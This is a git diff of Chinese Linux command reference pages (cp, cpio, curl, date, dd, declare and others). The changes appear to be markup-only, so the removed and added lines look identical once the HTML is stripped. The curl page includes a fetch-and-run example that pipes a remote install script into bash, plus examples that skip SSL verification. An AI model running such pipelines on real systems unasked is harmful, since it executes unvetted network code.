     # 依然需要按Y来确认操作,并且把aaa目录以及子目录和文件属性也传递到了/bbb。
     
    -\cp -r -a aaa/* /bbb
    +\cp -r -a aaa/* /bbb
     # 成功,没有提示按Y、传递了目录属性、没有略过目录。
     

    递归强制复制目录到指定目录中覆盖已存在文件

    -
    cp -rfb ./* ../backup
    +
    cp -rfb ./* ../backup
     # 将当前目录下所有文件,复制到当前目录的兄弟目录 backup 文件夹中
     

    拷贝目录下的隐藏文件如 .babelrc

    -
    cp -r aaa/.* ./bbb
    +
    cp -r aaa/.* ./bbb
     # 将 aaa 目录下的,所有`.`开头的文件,复制到 bbb 目录中。
     
    -cp -a aaa ./bbb/ 
    +cp -a aaa ./bbb/ 
     # 记住后面目录最好的'/' 带上 `-a` 参数
     
    - - + + \ No newline at end of file diff --git a/c/cpio.html b/c/cpio.html index 5be0eaf70d..3440f2394c 100644 --- a/c/cpio.html +++ b/c/cpio.html @@ -9,7 +9,7 @@ cpio 命令,Linux cpio 命令详解:用来建立、还原备份档的工具程序 - Linux 命令搜索引擎 - + @@ -209,12 +209,12 @@ customElements.define('markdown-style', MarkdownStyle);

    将系统上所有资料备份到磁带机内,使用以下命令:

    -
    find / -print | cpio -covB > /dev/st0
    +
    find / -print | cpio -covB > /dev/st0
     

    这里的/dev/st0是磁带的设备名,代表SCSI磁带机。

    查看上例磁带机上备份的文件,使用以下命令:

    -
    cpio  -icdvt < /dev/st0 > /tmp/st_content
    +
    cpio  -icdvt < /dev/st0 > /tmp/st_content
     

    有时可能因为备份的文件过多,一个屏幕无法显示完毕,此时我们利用下面命令,让磁带机的文件信息输出到文件。

    @@ -224,7 +224,7 @@ customElements.define('markdown-style', MarkdownStyle);

    注意,cpio恢复的路径,如果cpio在打包备份的时候用的是绝对路径,那么在恢复的时候会自动恢复到这些绝对路径下,本例就会将备份文件全部还原到/etc路径下对应的目录中。同理,如果在打包备份用的是相对路径,还原时也将恢复到相对路径下。

    通过上面的示例,可以看出,cpio无法直接读取文件,它需要每个文件或者目录的完整路径名才能识别读取,而find命令的输出刚好做到了这点,因此,cpio命令一般和find命令配合使用。其实,上面的示例我们已经看到了它们的组合用法。

    - - + + \ No newline at end of file diff --git a/c/crontab.html b/c/crontab.html index 71cebad02c..5a39598f7c 100644 --- a/c/crontab.html +++ b/c/crontab.html @@ -9,7 +9,7 @@ crontab 命令,Linux crontab 命令详解:提交和管理用户的需要周期性执行的任务 - Linux 命令搜索引擎 - + @@ -272,7 +272,7 @@ MAILTO=""HOME=/
    01 * * * * root run-parts /etc/cron.hourly
     
    - - + + \ No newline at end of file diff --git a/c/csplit.html b/c/csplit.html index 762871810b..a6b683a4eb 100644 --- a/c/csplit.html +++ b/c/csplit.html @@ -9,7 +9,7 @@ csplit 命令,Linux csplit 命令详解:将一个大文件分割成小的碎片文件 - Linux 命令搜索引擎 - + @@ -186,10 +186,10 @@ server01.log server02.log server03.log server.log

    命令详细说明:

    /[正则表达式]/   #匹配文本样式,比如/SERVER/,从第一行到包含SERVER的匹配行。
     {*}     #表示根据匹配重复执行分割,直到文件尾停止,使用{整数}的形式指定分割执行的次数。
    --s      #静默模式,不打印其他信息。
    --n      #指定分割后的文件名后缀的数字个数。比如01、02、03等。
    --f      #指定分割后的文件名前缀。
    --b      #指定后缀格式。比如%02d.log,类似于C语言中的printf参数格式。
    +-s      #静默模式,不打印其他信息。
    +-n      #指定分割后的文件名后缀的数字个数。比如01、02、03等。
    +-f      #指定分割后的文件名前缀。
    +-b      #指定后缀格式。比如%02d.log,类似于C语言中的printf参数格式。
     rm server00.log    #是删除第一个文件,因为分割后的的第一个文件没有内容,匹配的单词就位于文件的第一行中。
     
    - - + + \ No newline at end of file diff --git a/c/cu.html b/c/cu.html index 17fa700078..90fb9c2e7e 100644 --- a/c/cu.html +++ b/c/cu.html @@ -9,7 +9,7 @@ cu 命令,Linux cu 命令详解:用于连接另一个系统主机 - Linux 命令搜索引擎 - + @@ -126,7 +126,7 @@ customElements.define('markdown-style', MarkdownStyle);选项
    -a<通信端口>或-p<通信端口>或--port<通信端口> 使用指定的通信端口进行连线。
     -c<电话号码>或--phone<电话号码> 拨打该电话号码。
    --d 进入排错模式。
    +-d 进入排错模式。
     -e或--parity=even 使用双同位检查。
     -E<脱离字符>或--escape<脱离字符> 设置脱离字符。
     -h或--halfduple 使用半双工模式。
    @@ -139,9 +139,9 @@ customElements.define('markdown-style', MarkdownStyle);-v或--version 显示版本信息。
     -x<排错模式>或--debug<排错模式> 使用排错模式。
     -z<系统主机>或--system<系统主机> 连接该系统主机。
    ---help 在线帮助。
    ---nostop 关闭Xon/Xoff软件流量控制。
    ---parity=none 不使用同位检查。
    +--help 在线帮助。
    +--nostop 关闭Xon/Xoff软件流量控制。
    +--parity=none 不使用同位检查。
     

    实例

    与远程主机连接

    -
    cu -c 0102377765
    -cu -s 38400 9=12015551234
    +
    cu -c 0102377765
    +cu -s 38400 9=12015551234
     
    - - + + \ No newline at end of file diff --git a/c/cupsdisable.html b/c/cupsdisable.html index 4d88a59d69..06502c949f 100644 --- a/c/cupsdisable.html +++ b/c/cupsdisable.html @@ -9,7 +9,7 @@ cupsdisable 命令,Linux cupsdisable 命令详解:停止指定的打印机 - Linux 命令搜索引擎 - + @@ -137,7 +137,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    目标:指定目标打印机。

    - - + + \ No newline at end of file diff --git a/c/cupsenable.html b/c/cupsenable.html index 0daa2498e3..aef808e0be 100644 --- a/c/cupsenable.html +++ b/c/cupsenable.html @@ -9,7 +9,7 @@ cupsenable 命令,Linux cupsenable 命令详解:启动指定的打印机 - Linux 命令搜索引擎 - + @@ -133,7 +133,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    目标:指定目标打印机。

    - - + + \ No newline at end of file diff --git a/c/curl.html b/c/curl.html index a5e4e9b294..3d966fbf35 100644 --- a/c/curl.html +++ b/c/curl.html @@ -9,7 +9,7 @@ curl 命令,Linux curl 命令详解:利用URL规则在命令行下工作的文件传输工具 - Linux 命令搜索引擎 - + @@ -124,17 +124,17 @@ customElements.define('markdown-style', MarkdownStyle);选项
    -a/--append                                   # 上传文件时,附加到目标文件 
     -A/--user-agent                               # 设置用户代理发送给服务器 
    --anyauth                                      # 可以使用“任何”身份验证方法 
    +-anyauth                                      # 可以使用“任何”身份验证方法 
     -b/--cookie                                   # cookie字符串或文件读取位置 
    -     --basic                                  # 使用HTTP基本验证 
    +     --basic                                  # 使用HTTP基本验证 
     -B/--use-ascii                                # 使用ASCII /文本传输 
     -c/--cookie-jar                               # 操作结束后把cookie写入到这个文件中 
     -C/--continue-at                              # 断点续传 
     -d/--data                                     # HTTP POST方式传送数据 
          --data-ascii                             # 以ascii的方式post数据 
          --data-binary                            # 以二进制的方式post数据 
    -     --negotiate                              # 使用HTTP身份验证 
    -     --digest                                 # 使用数字身份验证 
    +     --negotiate                              # 使用HTTP身份验证 
    +     --digest                                 # 使用数字身份验证 
          --disable-eprt                           # 禁止使用EPRT或LPRT 
          --disable-epsv                           # 禁止使用EPSV 
     -D/--dump-header                              # 把header信息写入到该文件中 
    @@ -143,17 +143,17 @@ customElements.define('markdown-style', MarkdownStyle);-e/--referer                                  # 来源网址 
     -E/--cert                                     # 客户端证书文件和密码 (SSL)
          --cert-type                              # 证书文件类型 (DER/PEM/ENG) (SSL)
    -     --key                                    # 私钥文件名 (SSL)
    +     --key                                    # 私钥文件名 (SSL)
          --key-type                               # 私钥文件类型 (DER/PEM/ENG) (SSL)
    -     --pass                                   # 私钥密码 (SSL)
    -     --engine                                 # 加密引擎使用 (SSL). "--engine list" for list 
    -     --cacert                                 # CA证书 (SSL)
    -     --capath                                 # CA目录 (made using c\_rehash) to verify peer against (SSL)
    -     --ciphers                                # SSL密码 
    -     --compressed                             # 要求返回是压缩的形势 (using deflate or gzip)
    +     --pass                                   # 私钥密码 (SSL)
    +     --engine                                 # 加密引擎使用 (SSL). "--engine list" for list 
    +     --cacert                                 # CA证书 (SSL)
    +     --capath                                 # CA目录 (made using c\_rehash) to verify peer against (SSL)
    +     --ciphers                                # SSL密码 
    +     --compressed                             # 要求返回是压缩的形势 (using deflate or gzip)
          --connect-timeout                        # 设置最大请求时间 
          --create-dirs                            # 建立本地目录的目录层次结构 
    -     --crlf                                   # 上传是把LF转变成CRLF 
    +     --crlf                                   # 上传是把LF转变成CRLF 
     -f/--fail                                     # 连接失败时不显示http错误 
          --ftp-create-dirs                        # 如果远程目录不存在,创建远程目录 
          --ftp-method \[multicwd/nocwd/singlecwd] # 控制CWD的使用 
    @@ -170,8 +170,8 @@ customElements.define('markdown-style', MarkdownStyle);-i/--include                                  # 输出时包括protocol头信息 
     -I/--head                                     # 只显示请求头信息 
     -j/--junk-session-cookies                     # 读取文件进忽略session cookie 
    -     --interface                              # 使用指定网络接口/地址 
    -     --krb4                                   # 使用指定安全级别的krb4 
    +     --interface                              # 使用指定网络接口/地址 
    +     --krb4                                   # 使用指定安全级别的krb4 
     -k/--insecure                                 # 允许不使用证书到SSL站点 
     -K/--config                                   # 指定的配置文件读取 
     -l/--list-only                                # 列出ftp目录下的文件名称 
    @@ -183,7 +183,7 @@ customElements.define('markdown-style', MarkdownStyle);-M/--manual                                   # 显示全手动 
     -n/--netrc                                    # 从netrc文件中读取用户名和密码 
          --netrc-optional                         # 使用 .netrc 或者 URL来覆盖-n 
    -     --ntlm                                   # 使用 HTTP NTLM 身份验证 
    +     --ntlm                                   # 使用 HTTP NTLM 身份验证 
     -N/--no-buffer                                # 禁用缓冲输出 
     -o/--output                                   # 把输出写到该文件中 
     -O/--remote-name                              # 把输出写到该文件中,保留远程文件的文件名 
    @@ -193,25 +193,25 @@ customElements.define('markdown-style', MarkdownStyle);     --proxy-digest                           # 在代理上使用数字身份验证 
          --proxy-ntlm                             # 在代理上使用ntlm身份验证 
     -P/--ftp-port                                 # 使用端口地址,而不是使用PASV 
    --q                                            # 作为第一个参数,关闭 .curlrc 
    +-q                                            # 作为第一个参数,关闭 .curlrc 
     -Q/--quote                                    # 文件传输前,发送命令到服务器 
     -r/--range                                    # 检索来自HTTP/1.1或FTP服务器字节范围 
     --range-file                                  # 读取(SSL)的随机文件 
     -R/--remote-time                              # 在本地生成文件时,保留远程文件时间 
    -     --retry                                  # 传输出现问题时,重试的次数 
    +     --retry                                  # 传输出现问题时,重试的次数 
          --retry-delay                            # 传输出现问题时,设置重试间隔时间 
          --retry-max-time                         # 传输出现问题时,设置最大重试时间 
     -s/--silent                                   # 静默模式。不输出任何东西 
     -S/--show-error                               # 显示错误 
    -     --socks4                                 # 用socks4代理给定主机和端口 
    -     --socks5                                 # 用socks5代理给定主机和端口 
    -     --stderr                                 #   
    +     --socks4                                 # 用socks4代理给定主机和端口 
    +     --socks5                                 # 用socks5代理给定主机和端口 
    +     --stderr                                 #   
     -t/--telnet-option                            # Telnet选项设置 
    -     --trace                                  # 对指定文件进行debug 
    +     --trace                                  # 对指定文件进行debug 
          --trace-ascii                            # Like --跟踪但没有hex输出 
          --trace-time                             # 跟踪/详细输出时,添加时间戳 
     -T/--upload-file                              # 上传文件 
    -     --url                                    # Spet URL to work with 
    +     --url                                    # Spet URL to work with 
     -u/--user                                     # 设置服务器的用户和密码 
     -U/--proxy-user                               # 设置代理用户名和密码 
     -w/--write-out \[format]                      # 什么输出完成后 
    @@ -322,37 +322,37 @@ customElements.define('markdown-style', MarkdownStyle);实例
     

    文件下载

    curl命令可以用来执行下载、发送各种HTTP请求,指定HTTP头部等操作。如果系统没有curl可以使用yum install curl安装,也可以下载安装。curl是将下载文件输出到stdout,将进度信息输出到stderr,不显示进度信息使用--silent选项。

    -
    curl URL --silent
    +
    curl URL --silent
     

    这条命令是将下载文件输出到终端,所有下载的数据都被写入到stdout。

    使用选项-O将下载的数据写入到文件,必须使用文件的绝对地址:

    -
    curl http://example.com/text.iso --silent -O
    +
    curl http://example.com/text.iso --silent -O
     

    选项-o将下载数据写入到指定名称的文件中,并使用--progress显示进度条:

    -
    curl http://example.com/test.iso -o filename.iso --progress
    +
    curl http://example.com/test.iso -o filename.iso --progress
     ######################################### 100.0%
     

    不输出错误和进度信息

    -s 参数将不输出错误和进度信息。

    -
    curl -s https://www.example.com
    +
    curl -s https://www.example.com
     # 上面命令一旦发生错误,不会显示错误信息。不发生错误的话,会正常显示运行结果。
     

    如果想让 curl 不产生任何输出,可以使用下面的命令。

    -
    curl -s -o /dev/null https://google.com
    +
    curl -s -o /dev/null https://google.com
     

    断点续传

    curl能够从特定的文件偏移处继续下载,它可以通过指定一个便宜量来下载部分文件:

    -
    curl URL/File -C 偏移量
    +
    curl URL/File -C 偏移量
     
     #偏移量是以字节为单位的整数,如果让curl自动推断出正确的续传位置使用-C -:
    -curl -C -URL
    +curl -C -URL
     
    curl --referer http://www.google.com http://wangchujiang.com +
    curl --referer http://www.google.com http://wangchujiang.com
     

    用curl设置用户代理字符串

    有些网站访问会提示只能使用IE浏览器来访问,这是因为这些网站设置了检查用户代理,可以使用curl把用户代理设置为IE,这样就可以访问了。使用--user-agent或者-A选项:

    curl URL --user-agent "Mozilla/5.0"
    -curl URL -A "Mozilla/5.0"
    +curl URL -A "Mozilla/5.0"
     

    其他HTTP头部信息也可以使用curl来发送,使用-H"头部信息" 传递多个头部信息,例如:

    -
    curl -H "Host:wangchujiang.com" -H "accept-language:zh-cn" URL
    +
    curl -H "Host:wangchujiang.com" -H "accept-language:zh-cn" URL
     

    curl的带宽控制和下载配额

    @@ -393,8 +393,8 @@ curl URL -A "Mozilla/5.0" " class="copied">

    用curl进行认证

    使用curl选项 -u 可以完成HTTP或者FTP的认证,可以指定密码,也可以不指定密码在后续操作中输入密码:

    -
    curl -u user:pwd http://wangchujiang.com
    -curl -u user http://wangchujiang.com
    +
    curl -u user:pwd http://wangchujiang.com
    +curl -u user http://wangchujiang.com
     
    @@ -419,20 +419,20 @@ X-Pingback: http://wangchujiang.com/xmlrpc.php " class="copied">

    get请求

    curl "http://www.wangchujiang.com"    # 如果这里的URL指向的是一个文件或者一幅图都可以直接下载到本地
    -curl -i "http://www.wangchujiang.com" # 显示全部信息
    -curl -l "http://www.wangchujiang.com" # 显示页面内容
    -curl -v "http://www.wangchujiang.com" # 显示get请求全过程解析
    +curl -i "http://www.wangchujiang.com" # 显示全部信息
    +curl -l "http://www.wangchujiang.com" # 显示页面内容
    +curl -v "http://www.wangchujiang.com" # 显示get请求全过程解析
     

    post请求

    -
    $ curl -d "param1=value1&param2=value2" "http://www.wangchujiang.com/login"
    +
    $ curl -d "param1=value1&param2=value2" "http://www.wangchujiang.com/login"
     
    -curl -d'login=emma&password=123' -X POST https://wangchujiang.com/login
    +curl -d'login=emma&password=123' -X POST https://wangchujiang.com/login
     # 或者
    -$ curl -d 'login=emma' -d 'password=123' -X POST  https://wangchujiang.com/login
    +$ curl -d 'login=emma' -d 'password=123' -X POST  https://wangchujiang.com/login
     

    读取本地文本文件的数据,向服务器发送

    -
    curl -d '@data.txt' https://wangchujiang.com/upload
    +
    curl -d '@data.txt' https://wangchujiang.com/upload
     # 读取data.txt文件的内容,作为数据体向服务器发送。
     

    json格式的post请求

    -
    curl -l -H "Content-type: application/json" -X POST -d '{"phone":"13521389587","password":"test"}' http://wangchujiang.com/apis/users.json
    +
    curl -l -H "Content-type: application/json" -X POST -d '{"phone":"13521389587","password":"test"}' http://wangchujiang.com/apis/users.json
     

    向服务器发送 Cookie

    使用--cookie "COKKIES"选项来指定cookie,多个cookie使用分号分隔:

    -
    curl http://wangchujiang.com --cookie "user=root;pass=123456"
    +
    curl http://wangchujiang.com --cookie "user=root;pass=123456"
     

    将cookie另存为一个文件,使用--cookie-jar选项:

    @@ -465,16 +465,16 @@ $ curl -d 'login=emma' -d 'password=123' -X POST https://wa

    -b 参数用来向服务器发送 Cookie。

    -
    curl -b 'foo=bar' https://taobao.com
    +
    curl -b 'foo=bar' https://taobao.com
     # 上面命令会生成一个标头Cookie: foo=bar,向服务器发送一个名为foo、值为bar的 Cookie。
     
    -
    curl -b 'foo1=bar' -b 'foo2=baz' https://taobao.com
    +
    curl -b 'foo1=bar' -b 'foo2=baz' https://taobao.com
     # 上面命令发送两个 Cookie。
     
     ```shell
    -curl -b cookies.txt https://www.taobao.com
    +curl -b cookies.txt https://www.taobao.com
     # 上面命令读取本地文件 cookies.txt,里面是服务器设置的 Cookie(参见-c参数),将其发送到服务器。
     

    Cookie 写入一个文件

    -
    curl -c cookies.txt https://www.taobao.com
    +
    curl -c cookies.txt https://www.taobao.com
     # 上面命令将服务器的 HTTP 回应所设置 Cookie 写入文本文件cookies.txt。
     

    请求的来源

    -e 参数用来设置 HTTP 的标头 Referer,表示请求的来源。

    -
    curl -e 'https://taobao.com?q=example' https://www.example.com
    +
    curl -e 'https://taobao.com?q=example' https://www.example.com
     # 上面命令将Referer标头设为 https://taobao.com?q=example。
     

    -H 参数可以通过直接添加标头 Referer,达到同样效果。

    -
    curl -H 'Referer: https://taobao.com?q=example' https://www.example.com
    +
    curl -H 'Referer: https://taobao.com?q=example' https://www.example.com
     

    上传二进制文件

    -F 参数用来向服务器上传二进制文件。

    -
    curl -F 'file=@photo.png' https://taobao.com/profile
    +
    curl -F 'file=@photo.png' https://taobao.com/profile
     # 上面命令会给 HTTP 请求加上标头 Content-Type: multipart/form-data ,然后将文件photo.png作为file字段上传。
     

    -F 参数可以指定 MIME 类型。

    -
    curl -F 'file=@photo.png;type=image/png' https://taobao.com/profile
    +
    curl -F 'file=@photo.png;type=image/png' https://taobao.com/profile
     # 上面命令指定 MIME 类型为image/png,否则 curl 会把 MIME 类型设为 application/octet-stream。
     

    -F 参数也可以指定文件名。

    -
    curl -F 'file=@photo.png;filename=me.png' https://taobao.com/profile
    +
    curl -F 'file=@photo.png;filename=me.png' https://taobao.com/profile
     # 上面命令中,原始文件名为photo.png,但是服务器接收到的文件名为me.png。
     

    设置请求头

    -H 参数添加 HTTP 请求的标头。

    -
    curl -H 'Accept-Language: en-US' https://google.com
    +
    curl -H 'Accept-Language: en-US' https://google.com
     # 上面命令添加 HTTP 标头 Accept-Language: en-US。
     
    -
    curl -H 'Accept-Language: en-US' -H 'Secret-Message: xyzzy' https://google.com
    +
    curl -H 'Accept-Language: en-US' -H 'Secret-Message: xyzzy' https://google.com
     # 上面命令添加两个 HTTP 标头。
     
    -
    curl -d '{"login": "emma", "pass": "123"}' -H 'Content-Type: application/json' https://google.com/login
    +
    curl -d '{"login": "emma", "pass": "123"}' -H 'Content-Type: application/json' https://google.com/login
     # 上面命令添加 HTTP 请求的标头是 Content-Type: application/json,然后用 -d 参数发送 JSON 数据。
     

    跳过 SSL 检测

    -
    curl -k https://www.example.com
    +
    curl -k https://www.example.com
     # 上面命令不会检查服务器的 SSL 证书是否正确。
     

    请求跟随服务器的重定向

    -L 参数会让 HTTP 请求跟随服务器的重定向。curl 默认不跟随重定向。

    -
    curl -L -d 'tweet=hi' https://api.example.com/tweet
    +
    curl -L -d 'tweet=hi' https://api.example.com/tweet
     

    调试参数

    -v 参数输出通信的整个过程,用于调试。

    -
    curl -v https://www.example.com
    +
    curl -v https://www.example.com
     # --trace参数也可以用于调试,还会输出原始的二进制数据。
     
    -
    $ curl --trace - https://www.example.com
    +
    $ curl --trace - https://www.example.com
     

    获取本机外网ip

    @@ -595,7 +595,7 @@ Total Time:\t\t\t%{time_total}s\n
  • time_total: 完整耗时。
  • 然后执行请求,通过 @filename 指定保存了格式化字符串的文件:

    -
    $ curl -L -s -w @fmt.txt -o /dev/null http://www.google.com
    +
    $ curl -L -s -w @fmt.txt -o /dev/null http://www.google.com
     

    输出:

    @@ -621,7 +621,7 @@ Start-transfer Time: 0.260115s Total Time: 0.467691s " class="copied">

    要求返回是压缩的状态

    -
    curl --compressed -o- -L https://yarnpkg.com/install.sh | bash
    +
    curl --compressed -o- -L https://yarnpkg.com/install.sh | bash
       % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                      Dload  Upload   Total   Spent    Left  Speed
     100    54  100    54    0     0     42      0  0:00:01  0:00:01 --:--:--    42
    @@ -664,7 +664,7 @@ Installing Yarn!
     100   647  100   647    0     0   1283      0 --:--:-- --:--:-- --:--:--  1283
     100   832  100   832    0     0   1107      0 --:--:-- --:--:-- --:--:--  812k
     " class="copied">
    - - + + \ No newline at end of file diff --git a/c/cut.html b/c/cut.html index ef17b958a7..42aa91169a 100644 --- a/c/cut.html +++ b/c/cut.html @@ -9,7 +9,7 @@ cut 命令,Linux cut 命令详解:连接文件并打印到标准输出设备上 - Linux 命令搜索引擎 - + @@ -297,7 +297,7 @@ efghijklmnopqrstuvwxyz efghijklmnopqrstuvwxyz efghijklmnopqrstuvwxyz " class="copied">
    - - + + \ No newline at end of file diff --git a/c/date.html b/c/date.html index 8fe233b322..ec0ee38aef 100644 --- a/c/date.html +++ b/c/date.html @@ -9,7 +9,7 @@ date 命令,Linux date 命令详解:显示或设置系统时间与日期 - Linux 命令搜索引擎 - + @@ -252,19 +252,19 @@ _ (下划线) 使用空格填充相应的字段。

    选项

    长选项与短选项等价
     
    --d, --date=STRING          解析字符串并按照指定格式输出,字符串不能是'now'。
    ---debug                    注释已解析的日期,并将有疑问的用法发送到标准错误。
    --f, --file=DATEFILE        类似于--date; 一次从DATEFILE处理一行。
    +-d, --date=STRING          解析字符串并按照指定格式输出,字符串不能是'now'。
    +--debug                    注释已解析的日期,并将有疑问的用法发送到标准错误。
    +-f, --file=DATEFILE        类似于--date; 一次从DATEFILE处理一行。
     -I[FMT], --iso-8601[=FMT]  按照ISO 8601格式输出,FMT可以为'date'(默认)'hours''minutes''seconds''ns'                           例如:2006-08-14T02:34:56-06:00
    --R, --rfc-email            按照RFC 5322格式输出,例如: Mon, 14 Aug 2006 02:34:56 -0600
    +-R, --rfc-email            按照RFC 5322格式输出,例如: Mon, 14 Aug 2006 02:34:56 -0600
     --rfc-3339=FMT             按照RFC 3339格式输出,FMT可以为'date', 'seconds','ns'中的一个,
                                例如:2006-08-14 02:34:56-06:00
    --r, --reference=FILE       显示文件的上次修改时间。
    --s, --set=STRING           根据字符串设置系统时间。
    --u, --utc, --universal     显示或设置世界协调时(UTC)。
    ---help                     显示帮助信息并退出。
    ---version                  显示版本信息并退出。
    +-r, --reference=FILE       显示文件的上次修改时间。
    +-s, --set=STRING           根据字符串设置系统时间。
    +-u, --utc, --universal     显示或设置世界协调时(UTC)。
    +--help                     显示帮助信息并退出。
    +--version                  显示版本信息并退出。
     
    2009-12-07 # 输出昨天日期: -date -d "1 day ago" +"%Y-%m-%d" +date -d "1 day ago" +"%Y-%m-%d" 2012-11-19 # 2秒后输出: -date -d "2 second" +"%Y-%m-%d %H:%M.%S" +date -d "2 second" +"%Y-%m-%d %H:%M.%S" 2012-11-20 14:21.31 # 传说中的 1234567890 秒: -date -d "1970-01-01 1234567890 seconds" +"%Y-%m-%d %H:%M:%S" +date -d "1970-01-01 1234567890 seconds" +"%Y-%m-%d %H:%M:%S" # 或者 date -d@1234567890 +"%F %T" # 输出结果 2009-02-13 23:02:30 # 时间格式转换: -date -d "2009-12-12" +"%Y/%m/%d %H:%M.%S" +date -d "2009-12-12" +"%Y/%m/%d %H:%M.%S" # 输出结果 2009/12/12 00:00.00 # apache格式转换: -date -d "Dec 5, 2009 12:00:37 AM" +"%Y-%m-%d %H:%M.%S" +date -d "Dec 5, 2009 12:00:37 AM" +"%Y-%m-%d %H:%M.%S" # 输出结果 2009-12-05 00:00.37 # 格式转换后时间游走: -date -d "Dec 5, 2009 12:00:37 AM 2 year ago" +"%Y-%m-%d %H:%M.%S" +date -d "Dec 5, 2009 12:00:37 AM 2 year ago" +"%Y-%m-%d %H:%M.%S" # 输出结果 2007-12-05 00:00.37 # 时间加减操作: date +%Y%m%d # 显示年月日 -date -d "+1 day" +%Y%m%d # 显示前一天的日期 -date -d "-1 day" +%Y%m%d # 显示后一天的日期 -date -d "-1 month" +%Y%m%d # 显示上一月的日期 -date -d "+1 month" +%Y%m%d # 显示下一月的日期 -date -d "-1 year" +%Y%m%d # 显示前一年的日期 -date -d "+1 year" +%Y%m%d # 显示下一年的日期 +date -d "+1 day" +%Y%m%d # 显示前一天的日期 +date -d "-1 day" +%Y%m%d # 显示后一天的日期 +date -d "-1 month" +%Y%m%d # 显示上一月的日期 +date -d "+1 month" +%Y%m%d # 显示下一月的日期 +date -d "-1 year" +%Y%m%d # 显示前一年的日期 +date -d "+1 year" +%Y%m%d # 显示下一年的日期 # 设定时间: -date -s # 设置当前时间,只有root权限才能设置,其他只能查看 -date -s 20120523 # 设置成20120523,这样会把具体时间设置成00:00:00 -date -s 01:01:01 # 设置具体时间,不会对日期做更改 -date -s "01:01:01 2012-05-23" # 这样可以设置全部时间 -date -s "01:01:01 20120523" # 这样可以设置全部时间 -date -s "2012-05-23 01:01:01" # 这样可以设置全部时间 -date -s "20120523 01:01:01" # 这样可以设置全部时间 +date -s # 设置当前时间,只有root权限才能设置,其他只能查看 +date -s 20120523 # 设置成20120523,这样会把具体时间设置成00:00:00 +date -s 01:01:01 # 设置具体时间,不会对日期做更改 +date -s "01:01:01 2012-05-23" # 这样可以设置全部时间 +date -s "01:01:01 20120523" # 这样可以设置全部时间 +date -s "2012-05-23 01:01:01" # 这样可以设置全部时间 +date -s "20120523 01:01:01" # 这样可以设置全部时间 # 有时需要检查一组命令花费的时间: start=$(date +%s) @@ -423,7 +423,7 @@ date +"${suffix} %Y/%m/%d"
    1. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 dateinfo coreutils 'date invocation'
    - - + + \ No newline at end of file diff --git a/c/dc.html b/c/dc.html index 1d254401e3..5948e2e5c0 100644 --- a/c/dc.html +++ b/c/dc.html @@ -9,7 +9,7 @@ dc 命令,Linux dc 命令详解:任意精度计算器 - Linux 命令搜索引擎 - + @@ -122,10 +122,10 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -e, --expression=EXPR    # 评估表达式
    --f, --file=FILE          # 评估文件内容
    --h, --help               # 显示此帮助并退出
    --V, --version            # 输出版本信息并退出
    +
    -e, --expression=EXPR    # 评估表达式
    +-f, --file=FILE          # 评估文件内容
    +-h, --help               # 显示此帮助并退出
    +-V, --version            # 输出版本信息并退出
     

    示例显示在命令行结果 509

    -
    $ dc --expression="50 10 * 9 + p"
    +
    $ dc --expression="50 10 * 9 + p"
     509
     
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -271,7 +271,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/dd.html b/c/dd.html index 963fd8aeb7..e77e15a050 100644 --- a/c/dd.html +++ b/c/dd.html @@ -9,7 +9,7 @@ dd 命令,Linux dd 命令详解:复制文件并对原文件的内容进行转换和格式化处理 - Linux 命令搜索引擎 - + @@ -222,7 +222,7 @@ skip=<区块数>:一开始读取时,跳过指定的区块数; 15 bytes (15 B) copied, 0.000111993 s, 134 kB/s wFRAnlkXeBXmWs1MyGEs " class="copied">
    - - + + \ No newline at end of file diff --git a/c/declare.html b/c/declare.html index 08ede4bd8c..3ed3cce58e 100644 --- a/c/declare.html +++ b/c/declare.html @@ -9,7 +9,7 @@ declare 命令,Linux declare 命令详解:声明变量,设置或显示变量的值和属性。 - Linux 命令搜索引擎 - + @@ -136,26 +136,26 @@ customElements.define('markdown-style', MarkdownStyle);增加、删除变量的属性(可选:赋值)

    选项

    -
    -f 将操作或显示限制为函数名及函数定义。
    --F 只显示函数名(调试时附加行号和源文件)。
    --g 在shell函数中使用时创建全局变量;其他情况下忽略。
    --p 显示每个名称的属性和值。
    +
    -f 将操作或显示限制为函数名及函数定义。
    +-F 只显示函数名(调试时附加行号和源文件)。
    +-g 在shell函数中使用时创建全局变量;其他情况下忽略。
    +-p 显示每个名称的属性和值。
     
     *设置属性的选项:
    --a 创建数组(如果支持)。
    --A 创建关联数组(如果支持)。
    --i 增加整型属性。
    +-a 创建数组(如果支持)。
    +-A 创建关联数组(如果支持)。
    +-i 增加整型属性。
     +i 删除整型属性。
    --l 增加小写属性,变量的值将转换为小写。
    +-l 增加小写属性,变量的值将转换为小写。
     +l 删除小写属性。
    --n 增加引用属性(如果该选项存在)。
    +-n 增加引用属性(如果该选项存在)。
     +n 删除引用属性(如果该选项存在)。
    --r 增加只读属性。
    --t 增加追踪属性。
    +-r 增加只读属性。
    +-t 增加追踪属性。
     +t 删除追踪属性。
    --u 增加大写属性,变量的值将转换为大写。
    +-u 增加大写属性,变量的值将转换为大写。
     +u 删除大写属性。
    --x 增加导出属性。
    +-x 增加导出属性。
     +x 删除导出属性。
     
    declare reference_website='https://wangchujiang.com/linux-command/' # 显示所有包含整型属性的变量和值。 -declare -i +declare -i # 定义变量b并赋值为3,具有整型属性。 -declare -i b=5 +declare -i b=5 # 显示属性,返回 declare -i b="5"。 -declare -p b +declare -p b # 删除整型属性。 declare +i b # 显示属性,返回 declare -- b="5"。 -declare -p b +declare -p b # 根据变量属性强制转换值的英文大小写。 -declare -u uc_var='abc' -declare -l lc_var='ABC' +declare -u uc_var='abc' +declare -l lc_var='ABC' # 显示'ABC abc'; echo "${uc_var} ${lc_var}"
    # 定义函数内的全局变量
     function test(){
    -  declare -g a=3
    +  declare -g a=3
       # 或者
    -  local -g b=3
    +  local -g b=3
       # 或者
       c=3
       # 让我们查看它们的属性。
    -  declare -p a b c
    +  declare -p a b c
     }
     # 执行函数。
     test
    @@ -252,8 +252,8 @@ echo "${uc_var} ${lc_var}"
     
     # 定义局部变量
     function test2(){
